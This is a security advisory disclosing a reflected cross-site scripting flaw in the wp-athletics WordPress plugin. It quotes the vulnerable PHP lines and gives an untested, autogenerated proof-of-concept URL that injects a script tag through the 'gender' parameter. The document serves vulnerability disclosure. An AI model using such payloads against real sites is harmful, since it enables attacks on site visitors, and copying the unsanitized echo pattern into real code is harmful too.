Advisory #: 486
Title: Reflected XSS in wordpress plugin wp-athletics v1.1.7
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-athletics
Downloads: 3584
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-athletics
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-athletics/includes/admin/print-rankings.php: 28: var gender = '<?php echo $_GET['gender']; ?>'; 29: var event = '<?php echo $_GET['event']; ?>'; 30: var type = '<?php echo $_GET['type']; ?>'; 31: var age = '<?php echo $_GET['age']; ?>'; 32: var period = '<?php echo $_GET['period']; ?>'; The variable gender appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-athletics/includes/admin/print-rankings.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-athletics/includes/admin/print-rankings.php?gender="><script>alert(1);</script><"